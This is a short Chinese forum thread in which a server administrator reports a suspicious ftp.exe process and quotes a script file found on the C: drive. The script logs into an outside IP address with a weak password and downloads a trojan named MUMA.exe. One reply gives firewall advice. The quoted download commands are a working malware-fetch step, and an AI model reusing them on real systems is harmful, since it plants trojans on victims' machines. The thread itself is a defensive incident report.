剛過年去檢查檢查服務器,發現任務管理器里多了個ftp.exe的行程,然后在C盤根目錄下發現一個檔案

open 218.206.207.7
123123
123123
get MUMA.exe c:\bootMUMA.exe
bye
這是ftp指令吧?果然FTP能登錄

除了system32目錄下的ftp.exe被啟動了,其他倒沒什么例外行程。這是什么節奏?
uj5u.com熱心網友回復:
防毒意識薄弱。這些小伎倆自帶防火墻就可以屏蔽掉。要注意觀察兩點,第一是病毒,第二看防火墻當前開啟的埠,開啟嚴格模式,只開放必要埠,其余全部dsc。uj5u.com熱心網友回復:
不知道如果攻擊別人轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/119639.html
標籤:安全技術/病毒
